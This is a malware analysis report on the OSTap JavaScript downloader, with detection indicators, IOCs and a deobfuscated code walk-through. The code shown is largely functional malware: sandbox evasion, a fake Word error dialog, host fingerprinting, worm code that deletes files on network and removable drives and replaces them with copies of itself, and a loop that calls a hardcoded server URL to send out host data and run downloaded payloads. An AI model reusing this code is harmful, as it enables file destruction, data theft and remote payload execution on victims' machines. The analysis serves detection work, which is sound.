02/18/20

OSTap Detailed Analysis

This report provides a detailed analysis of the current OSTap JavaScript downloader typically used to download and install Trickbot on victim machines. The OSTap script is dropped and run by malicious MS Word files. Given the large number of ITW OSTap dropper maldocs, low detection rate of the OSTap dropper maldocs, and the *extremely* low OSTap detection rate by AV products, it is important to understand the behavior of OSTap in order to institute behavioral detections.

Summary

When executed OSTap does the following:

1. Executes JavaScript that is only valid in cscript.exe/wscript.exe to foil JavaScript emulators.
2. Checks the list of running processes and terminates execution if too few processes are running to foil sandboxes.
3. Persists itself into the infected user's startup folder.
4. Attempts to spread by destructively copying itself to network mapped drives and removable drives.
5. Hits a download server to pull down new versions of OSTap and (probably) Trickbot.

It appears that the studied version of OSTap is actually downloading IcedID rather than Trickbot.

OSTap TTPs

There are several actions taken by OSTap dropper maldocs and OSTap itself that can provide behavioral indicators of OSTap activity. Note that these behavioral indicators are somewhat general and base-lining of these indicators would be needed before alerting on the indicators in a specific environment.

- *OSTap Dropping and Execution by Maldoc* – Look for MS Word dropping a file to disk followed by cscript/wscript running the dropped file with the "`/E:Jscript`" flag.
- *OSTap Persistence* – Look for cscript/wscript running a script in the startup or temp folder with the "`/E:Jscript`" flag creating a folder in a user startup directory.
- *OSTap Spawning More OSTap* – Look for cscript/wscript running a script in the startup or temp folder with the "`/E:Jscript`" flag spawning another cscript/wscript process running a script in the startup or temp folder with the "`/E:Jscript`" flag.

- *OSTap Worming* – Look for cscript/wscript running with the "`/E:Jscript`" flag writing a large number of files to drives other than C:.
- *OSTap Payload Download* – Look for cscript/wscript running with the "`/E:Jscript`" flag making direct to IP HTTP requests.

OSTap IOCs

2nd stage download server IP addresses:

- 185[.]130[.]104[.]182
- 45[.]128[.]133[.]41
- 185[.]180[.]199[.]77
- 185[.]216[.]35[.]11

2nd stage DLL and EXE SHA256 hashes:

- b57046c8c72c49110f04997749314d49dd91c4a923b72326e9e89e5aaabb011e
- c9c726063bc562ab352f609cbfb5217fefe051ecd362dd4401b9a62a245dc218

Detailed Analysis

The detailed analysis of a current OSTap sample was performed by resolving all of the obfuscated strings in the sample, removing all unnecessary variable assignments, renaming all variables to have meaningful names, and adding in-line commentary. A copy of the unmodified sample, the cleaned sample used in this report, and this report is available at https://github.com/kirk-sayre-work/OSTap.

The following sections will walk through the code implementing the major pieces of OSTap functionality listed in the summary.

Anti-Emulation

The OSTap sample starts with the following block of code:

```
// This construct only works under Windows cscript.exe/wscript.exe.
//
// This is potentially used to foil emulation.
function(d, x) {
    return d + x; /*V                                                er 0.0.7*/ ;
};
```

This block of code results in a parse error in JavaScript engines such as Node.js, but is handled with no issues by Windows cscript/wscript. It is theorized that this code exists to prevent JavaScript emulators such as box-js from emulating OSTap scripts.

02/18/20

User Feedback

Unlike many other maldocs, the OSTap dropper maldoc/OSTap combination is set up to give the user feedback after the user enables macros. After enabling macros the maldoc will drop OSTap to disk and run the OSTap script. The OSTap script, if run from the initial drop directory, then pops up an error dialog for the user explaining why it appears that nothing happened after enabling macros. This error dialog is displayed so that the user will not become suspicious that nothing happened after enabling macros.

```
// This fakes a Word error message when OSTap is initially run after being dropped
// by a Word maldoc. The purpose of this is to "explain" to the user why nothing was
// "decrypted" in the Word maldoc after they followed instructions and enabled macros.
//
// Note that this popup will not be generated after OSTap is installed on the infected
// system and runs out of the startup folder.
try {
    if ((current_script_file_name.toLowerCase().indexOf("\\temp\\") == -1) && (current_script_file_name.toLowerCase().indexOf("\\startup\\") == -1)) {
        shell_object.Popup("Not a valid embedded object.", 16, "Microsoft Word", 0);
    }
} catch (dummy_except) {}
```

Note that the error popup will be displayed when OSTap is not running from the startup or temp directory. The maldoc does not drop OSTap into startup or temp, so this error popup will be displayed when OSTap is initially run.

Infection Fingerprinting

OSTap fingerprints the infected system based on the current user name, user domain, and computer name. This information is “hashed” to generate file names in which to save downloaded payloads, persisted versions of OSTap, and provided in the GET requests to the 2nd stage download server.

Finger Print Data Collection

```
// Get the computer name, use name, and user domain.
var computer_name = shell_object.Environment("PROCESS").Item("COMPUTERNAME");
var user_name = shell_object.Environment("PROCESS").Item("USERNAME");
var user_domain = shell_object.Environment("PROCESS").Item("USERDOMAIN");
var aggregate_network_adapter_info = '';
```

Finger Print “Hash” Generation

```
// Aggregate the machine recon information into a string.
var machine_recon_results_for_get = tmp_dir;
machine_recon_results_for_get = user_domain + "@@" + computer_name + "@@" + user_name + "@@";

// Compute something like a hash of the machine recon information.
for (loop_counter = 0; loop_counter < machine_recon_results_for_get.length; loop_counter++) {
    tmp_file_name = (((tmp_file_name << (5)) - tmp_file_name) + machine_recon_results_for_get.charCodeAt(loop_counter)) & 4294967295;
}

// Make some temporary files names based on the hash of the machine recon information.
//
// tmp_file_name is the hex value of the integer computed in the previous loop.
tmp_file_name = ((tmp_file_name) >>> 0).toString(16);
```

The machine fingerprint information is aggregated together in a string using “@@” as a field separator. This aggregated string is run through a bit shifting algorithm to generate an unsigned integer hash value from the string. Finally, the generated hash is converted to hex to generate the final fingerprint value.

Note that we have observed two variants of final fingerprint generation, conversion of the hash to hex and simply taking the absolute value of the hash. The deobfuscated OSTap discussed in this document uses the hex method.

Anti-Sandboxing

OSTap gathers a list of running processes with WMI and aggregates the process name and execution path into a string. The length of this string is checked and if it is too short OSTap will crash. This is probably meant to prevent OSTap from running in an improperly hardened sandbox.

Process List Gathering

```
// Use WMIC to read the list of running processes.
wmic_query_object = get_object_function("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
item_counter = 0;

// Loop over each process returned from the WMIC query.
query_results = new enumerator_function(wmic_query_object.ExecQuery("Select * from Win32_Process"));
while (!query_results.atEnd()) {

    // Stop at 200 processes.
    if (item_counter == 200) break;

    // Append process name and executable path to a process information string.
    query_item = query_results.item();
    process_list_string = process_list_string + query_item.Name + "*" + query_item.ExecutablePath + "\r\n";
    item_counter++;

    // Move to the next process.
    query_results.moveNext();
}
```

Process List Length Check

```
// Bomb out if the length of the process information string is too short. This will cause OSTap to
// fail when run in a sandbox with too few running processes.
if (process_list_string.length < 3181) {

    // duio() does not exist, so running this will cause a crash.
    this.duio("drfty");
}
```

If the length of the process list string generated earlier is less than 3181 OSTap runs code that causes execution to crash.

02/18/20

Network Adapter Fingerprinting

```
// Use WMIC to get network adapter information.
query_results = null;
item_counter = 0;
query_results = new enumerator_function(wmic_query_object.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE"));

// Loop over each network adapter returned from the WMIC query.
while (!query_results.atEnd()) {

    // Stop at 10 network adapters.
    if (item_counter == 10) break;
    query_item = query_results.item();

    // Append the IP address and caption of the current adapter to a network adapter string.
    aggregate_network_adapter_info = aggregate_network_adapter_info + "*" + query_item.IPAddress(0) + "::" + query_item.Caption;
    item_counter++;

    // Move to next network adapter.
    query_results.moveNext();
}
```

The network adapter caption and IP address is aggregated into a string using “::” as the separator between network adapters. This string is later passed to the 2nd stage download server as a HTTP GET parameter.

Worming Behavior

OSTap scans mapped network and removable drives for interesting files and overwrites them with (modified) copies of the current OSTap script. The files OSTap is interested in are:

```
// This is the list of file extensions that will be overwritten by OSTap.
var file_extension_string = "*.mpp *.vsdx *.odt *.ods *.odp *.odm *.odc *.odb *.wps *.xlk *.ppt *.pst *.dwg *.dxf *.dxg *.wpd *.doc *.xls *.pdf *.rtf *.txt *.pub";
```

OSTap gets a recursive directory listing of the interesting files on mapped/removable drives and saves the directory listing in a temporary file.

```
// Loop over all the drives on the machine.
mounted_drives = new enumerator_function(drive_object);
for (; !mounted_drives.atEnd(); mounted_drives.moveNext()) {

    // Is this a network drive or a removeable drive that does not hold the temp directory?
    current_drive = mounted_drives.item();
    if ((current_drive.IsReady && (current_drive.DriveType == 3 || current_drive.DriveType == 1)) && tmp_dir.substring(0, 1) != current_drive.DriveLetter) {

        // Get a recursive listing of all the files with interesting file extensions on the drive.
        // The directory listing is saved in a text file.
        shell_application_object.ShellExecute("cmd", "/T:" + random_integer + " /U /Q /C cd /D " + current_drive.DriveLetter + ": && dir /b/s/x " + file_extension_str +
" + "\\" + ostap_overwrite_file_listing_file_name, '', "open", 0);

        // Do some sleeping.
        current_wscript_process.Sleep(1000 * 55);
    }
}
```

Once the listing of interesting files has been generated OSTap loops over all the files, deletes them, and writes itself out in file names generated by removing the original file extension and replacing it with “.jse”. This is a change from past OSTap behavior where “.jse” was simply appended to the original file name.

```
// Open the files containing the directory listing of interesting files.
tmp_text_file3 = file_system_object.GetFile(tmp_dir + "\\" + ostap_overwrite_file_listing_file_name).OpenAsTextStream(1, -1);

// Loop over the directory listing.
while (!tmp_text_file3.AtEndOfStream) {

    // Get the name of the current interesting file, minus the file extension.
    file_name_to_overwrite = tmp_text_file3.ReadLine();
    file_name_to_overwrite_no_extension = file_name_to_overwrite.substring(0, file_name_to_overwrite.indexOf("."));

    // Copy the OSTap .drf file over to the mapped/removeable drive as the name of the current interesting file with a .jse file.
    // Also delete the original interesting file.
    //
    // Note that this replaces files like FOO.doc with FOO.jse, not FOO.doc.jse like previous OSTap versions.
    shell_application_object.ShellExecute("cmd", "/T:" + random_integer + " /U /Q /C copy /Y " + '"' + tmp_ostap_file_name_drf_extension + '" "' +
                                          file_name_to_overwrite_no_extension + ".jse" + '"' + " && del /Q/F " + '"' + file_name_to_overwrite + '"', '', "open", 0);
}
tmp_text_file3.Close();
```

2nd Stage Payload Download

```
// Set up the basics of the URL to hit to get the Trickbot/OSTap 2nd stage.
var ostap_download_url_prefix = "http://45.128.133.41/jTlp8P/3OXkud.php";
var ostap_download_url_suffix = "?g=s17&k=" + tmp_file_name + "&x=" + escape(machine_recon_results_for_get + aggregate_network_adapter_info);
var ostap_download_url_general = ostap_download_url_prefix + ostap_download_url_suffix;
```

OSTap sets up the general URL prefix it hits for 2nd stage payloads and command information. When this URL is hit a random integer will be added to the end of the general URL each time.

```
// At this point OSTap has done some worming behavior, persisted itself, and (possibly) run a downloaded payload.
//
// The following loop continuously hits the 2nd stage download server looking for new payloads and instructions on
// what to do next.
while (true) {
    try {

        // Append a random integer to the general 2nd stage downloader URL .
        ostap_download_url_specific = ostap_download_url_general + "&" + Math.floor((Math.random() * (29300)) + 1) + Math.floor((Math.random() * (9500)) + 1);

        // Start the HTTP request.
        http_object.Open("GET", ostap_download_url_specific, false);

        // Set the user agent with a random Windows NT 6.X agent between 1 and 4.
        //
        // The user agent will always be a valid (but randomly chosen) IExplorer user agent.
        random_integer = Math.floor((Math.random() * 3) + 1);
        http_object.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6." + random_integer + "; Win64; x64; Trident/7.0; rv:11.0) like Gecko");

        // Perform the HTTP request.
        http_object.Send();
```

Once OSTap has performed its worming functionality it enters an infinite loop hitting the 2nd stage download server for payloads and commands. Note that OSTap selects a random valid user agent for each web request. It is possible this is done to make it difficult to identify OSTap requests in network logs.

After performing the HTTP GET request OSTap checks the HTTP response for a payload and a command string indicating what to do next.

```
    // Did the request work?
    if (http_object.status == 200) {

        // Check to see if we have been given instructions on what to do next.
        response_text = http_object.responseText;
        try {

            // Did we get base64 encoded payload?
            if (response_text.indexOf(encoded_payload_field_seperator) > -1) {

                // We were given a payload. Were we also given instructions on what to do next?

                // Does "llx-" appear in the Content-Disposition field of the response header?
                next_step = (http_object.getResponseHeader("Content-Disposition").indexOf("llx-") > -1);
                if (next_step) {

                    // "llx-" appearing in Content-Disposition means the next step is 1.
                    // This means "run a decoded DLL" (see .Arguments handling section).
                    next_step = 1;
                } else {

                    // Does "upd-" appear in the Content-Disposition field of the response header?
                    isupp = (http_object.getResponseHeader("Content-Disposition").indexOf("upd-") > -1);
                    if (isupp) {

                        // "upd-" appearing in Content-Disposition means the next step is 2.
                        // This means "persist decoded OSTap payload" (see .Arguments handling section).
                        next_step = 2;
                    } else {

                        // If neither "llx-" or "upd-" appears in Content-Disposition the next step is 0.
                        // This means "directly run decoded payload" (see .Arguments handling section).
                        next_step = 0;
                    }
                }
```

If the GET request succeeded OSTap checks the response text to see if a base64 encoded payload broken up with a field marker was returned. If so OSTap checks the Content-Disposition field of the response header for information on what to do next.

After checking the Content-Disposition field for the next action OSTap saves the current (modified) script and the raw response test in files.

```
// Both the .xdf and .drf files are in the temp directory.

// Save the HTTP response text to the .xdf file.
tmp_text_file2 = file_system_object.CreateTextFile(tmp_ostap_file_name_xdf_extension, true, false);
tmp_text_file2.Write(response_text);
tmp_text_file2.Close();

// Save the (slightly modified) original script contents to the .drf file.
tmp_text_file2 = null;
tmp_text_file2 = file_system_object.CreateTextFile(tmp_ostap_file_name_drf_extension, true, false);
tmp_text_file2.Write(file_contents);
tmp_text_file2.Close();
```

Both the .xdf and .drf files are located in the user temp directory and are named as the ASCII version of the machine fingerprint “hash” discussed in an earlier section. The .xdf file contains the base64 encoded payload chunks returned in the GET response. The .drf file contains the modified contents of

the current script. The modification performed is adding a random useless assignment statement to the end of the script. This is done to foil hash blocking OSTap files.

```
// Read the contents of the current OSTap script file and modify them by adding a random
// variable assignment to the end.
//
// This is why hash blocking files is not effective.
try {
    tmp_text_file1 = file_system_object.OpenTextFile(current_script_file_name, 1, false, 0);
    file_contents = tmp_text_file1.ReadAll();
    tmp_text_file1.Close();
    file_contents = file_contents + "wodssi" + Math.floor((Math.random() * (13000)) + 1) + "=" + Math.floor((Math.random() * (15200)) + 1) + ";";
    tmp_text_file1 = null;
} catch (dummy_except) {}
```

Once the .xdf and .drf file has been written OSTap spins up a new OSTap process with a command line argument indicating the next action to perform.

```
// Spin up a new wscript/cscript process running the original OSTap script with the next step given
// as a command line argument.
try {
    shell_application_object.ShellExecute("wscript", "/B /E:JScript " + '"' + tmp_ostap_file_name_drf_extension + '"' + " " + next_step, '', "open", 1);
} catch (dummy_except) {
    shell_application_object.ShellExecute("cscript", "/B /E:JScript " + '"' + tmp_ostap_file_name_drf_extension + '"' + " " + next_step, '', "open", 0);
}
```

Run Next Action

OSTap checks for a command line argument that tells it what to do next. If the command line argument is “2” OSTap will copy the decoded downloaded base64 payload to the user’s startup folder for persistence.

```
// Was the CL argument "2"?
if (current_wscript_process.Arguments(0) == "2") {

    // Copy the decoded .dom file over to a .jse file in the startup directory.
    try {
        file_system_object.CopyFile(tmp_ostap_file_name_xdf_extension, persisted_ostap_file_name, true);
    } catch (dummy_except) {}
    break;
}
```

If the command line argument is “1” the decoded payload is a DLL. OSTap will run the payload with rundll32.

```
// Was the CL argument "1"?
if (current_wscript_process.Arguments(0) == "1") {

    // It looks like if the CL argument is "1" the decoded .dom file contains a DLL. In that case run it with
    // rundll32.
    //
    // The exported InitLibrary() function is called.
    try {
        shell_application_object.ShellExecute("rundll32", '"' + tmp_ostap_file_name_xdf_extension + '"' + " InitLibrary", '', "open", 1);
    } catch (dummy_except) {
        shell_application_object.ShellExecute("cmd", "/T:" + random_integer + " /U /C rundll32 " + '"' + tmp_ostap_file_name_xdf_extension + '"' +
                                              " InitLibrary", '', "open", 0);
    }
}
```

If the command line argument is “0” the decoded payload is an EXE. OSTap will run the payload with cmd.exe.

```
// Was the CL argument "0"?
if (current_wscript_process.Arguments(0) == '0') {

    // Just run the .dom file directly.
    try {
        shell_application_object.ShellExecute("cmd", "/T:" + random_integer + " /U /C " + '"' + tmp_ostap_file_name_xdf_extension + '"', '', "open", 0);
    } catch (dummy_except) {}
}
```

02/18/20

Delete If Wrong Directory

If OSTap is not running from the startup or temp directory it will delete itself. This is probably done to clean up the original OSTap copy dropped by the maldoc.

```
// Is OSTap running out of the temp directory?
if (current_script_file_name.indexOf(tmp_dir) > -1) {
```

```
ostap_2_17_2020_CLEAN.js   36% L202   (Javascript)
```

```
    break;
} else {

    // We are not running out of the temp directory.
    try {

        // Are we running out of the startup folder?
        if (current_script_file_name.indexOf(new_startup_folder) == -1) {

            // No we are not. Delete the current OSTap script file.
            //
            // It appears that OSTap wants to run out of the startup or temp directory.
            file_system_object.DeleteFile(current_script_file_name);
        }
    } catch (dummy_except) {}
}
```